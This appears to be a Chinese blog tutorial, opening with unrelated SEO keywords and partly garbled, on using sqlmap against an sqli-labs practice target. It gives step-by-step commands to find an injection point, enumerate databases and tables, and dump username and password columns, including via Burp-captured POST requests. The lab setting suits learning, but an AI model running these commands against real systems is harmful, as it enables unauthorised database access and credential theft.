外贸导向企业网站,前端培训机构推荐,免费建设音乐网站,长沙网站开发长沙网站建设SqlMap的使用
SqlMap是SQLMap注入的神器#xff0c;但是SqlMap只能跑一些过滤不太严格的注入#xff0c;也可以使用Python编写的脚本跑 SqlMap使用
本机先装好Python环境#xff0c;打开sqlmap下的cmd#xff0c;在cmd的对话框输入python sqlmap.py 启动SqlMap#xff0…SqlMap的使用
SqlMap是SQLMap注入的神器但是SqlMap只能跑一些过滤不太严格的注入也可以使用Python编写的脚本跑 SqlMap使用
本机先装好Python环境打开sqlmap下的cmd在cmd的对话框输入python sqlmap.py 启动SqlMap出现以下界面就说明sqlmap能正常使用可以在网上找教程把sqlmap做成一个链接放在桌面方便后续直接使用在Windows桌面创建sqlmap快捷方式
注入成功第一个是布尔盲注第二个是错误注入第三个是时间盲注注入成功之后也会在本地形成一个文件缓存即 C:\Users\Conpere\AppData\Local\sqlmap\output\192.168.165.98 语法应用 sqlmap语法 首先确定注入点——实战中的注入点就是用户和数据段进行交互的地方根据参数判断 -u 给sqlmap直接传入一个url是跑不出来注入的因为它不知道此时的参数是什么如 python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/ 要给它后面加参数才能提供注入点方便工具去查找注入如 python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id1 传递的参数要是对方服务器里实际存在的而且是可以注入的参数 SqlMap爆破 python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id1 --加参数--users 爆出sql的所有用户--passwords 爆出数据库账户与密码 一般不会直接读出账号密码不建议使用--dbs 可以爆出该MySQL中的所有数据库的名字--current-db 爆出当前使用的数据库--current-user 爆出当前数据库使用账户--tables 爆出所有的表1.-D [数据库名] --tables2.-D [数据库名] -T [表名] --columns3.-D [数据库名] -T [表名] -Cusername,realname,password --dumpMySql爆破第一步 寻找是否存在sql注入点python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id1第二步 查询当前sql库python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id1 --current-db第三步 脱指定库的所有表python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id1 -D security --tables第四步 爆指定库指定表的所有字段python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id1 -D security -T users --columns第五步 爆指定库指定表指定字段的所有值python sqlmap.py -u http://192.168.165.98/sqlilabs/Less-5/?id1 -D security -T users -C username,password --dump--dump 爆出列表中指定列的内容SqlMap的万能用法——可用于跑post数据包Burp和SqlMap的联动1.拿Burp抓取post传输的要测试sql注入的网页的包在抓包界面右键save item 保存文件2.打开SqlMap python sqlmap.py -r 文件的存储地址此时可以判断出来该网站是否存在sql注入点如果有的话还会显示相应的方式如盲注联合注入等再重复上述第二步~第五步即可 SqlMap添加快捷方式
python在cmd显示不是内部或外部命令以及python貌似正常但是pip不正常时——在系统变量里重新设置或添加path变量添加内容为python的安装路径精确到.ex
sqlmap损坏时在官网重新下载一个文件放到电脑里根据在Windows桌面创建sqlmap快捷方式_一只咸鱼猫的博客-CSDN博客重新设置一遍就好了
在桌面上右键选择新建在选择快捷方式进入创建快捷方式页面在创建快捷方式页面请键入对象位置输入cmd点击下一步在键入该快捷方式的名称中输入点击完成桌面上就有个sqlmap的快捷方式点击刚刚新增好的sqlmap快捷方式右键属性进入属性的快捷方式页面把快捷方式页面上的起始位置替换成sqlmap的目录点击应用双击快捷方式就可以启用sqlmap了